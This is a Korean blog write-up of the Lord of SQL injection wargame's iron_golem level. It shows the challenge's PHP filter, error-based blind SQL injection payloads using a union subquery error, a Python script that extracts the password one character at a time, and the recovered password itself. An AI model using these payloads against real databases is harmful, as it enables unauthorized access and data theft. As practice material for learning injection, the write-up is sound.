write-up/LOS write-up

LOS (Lord of SQL injection) 문제 21번 iron_golem write-up

정보보호학과 새내기 2021. 7. 12. 13:46
반응형
SMALL

문제 21번 - iron_golem

 

query : select id from prob_iron_golem where id='admin' and pw=''

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.

 

먼저 필터링 함수를 확인하면 prob와 _ , . , (), sleep, benchmark를 필터링하고 추가로 i를 통해 대소문자를 구별하지 않는 것을 알 수 있다. 다른 문제들과 다른점은 sleep와 benchmark를 필터링한다는 것인데 이것은 blind sql injection 중 time based sql injection을 이용하지 못하게 막아놓은 것 같다.

<?php
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
?>

 

clear 조건을 확인하기 위해 조건문 코드를 확인해보니 pw가 필요하다는 것을 알 수 있다. pw의 크기를 찾고 pw를 찾는 파이썬 코드를 제작해야겠다.

<?php
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

 

밑에 코드를 확인해보니 만약 에러가 발생하면 에러를 반환하게 하는 코드가 있는 것을 확인할 수 있는데 이것을 이용해서 pw를 찾는 것 같다.(error based sql injection 이용)

<?php
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
?>

 

error based sql injection에는 다양한 방법이 있지만 union select 에러를 이용했다.

pw의 크기를 알아내기 위해 pw=' or id='admin' and if(length(pw)=숫자,(select 1 union select 2),1)%23을 입력했다.

그 중 숫자에 32를 입력하니 if가 참이되고 에러값을 반환했다. (에러반환 값이 Subqeury returns more than 1 row라는 것을 알아냄)

---> pw=' or id='admin' and if(length(pw)=32,(select 1 union select 2),1)%23

서브쿼리 에러 반환

 

이후 파이썬 코드를 작성해보았다. 에러가 반환되지 않을 때 해당 값이 pw값이라는 것을 이용(위에 조건문이랑 반환값이 다름!!)

import requests


url="https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?"
cookie = dict(PHPSESSID="쿠키값")

result=""

for i in range(1,33):
    for j in range(33, 127):
        query = "pw=' or if(ord(substr(pw,{},1))={},1,(select 1 union select 2))%23".format(i,j)
        URL = url+query
        res = requests.get(URL, cookies=cookie)
        if res.text.find("Subquery returns more than 1 row")<0:
            result += chr(j)
            print(chr(j))
            break
print("pw :"+result)

위 코드를 실행 시키니 아래 결과가 나왔다.

즉 pw가 06b5a6c16e8830475f983cc3a825ee9a라는 것을 알게 되었다.

따라서 pw=06b5a6c16e8830475f983cc3a825ee9a를 입력한다.

 

solve

https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=06b5a6c16e8830475f983cc3a825ee9a

클리어 화면

 

반응형
LIST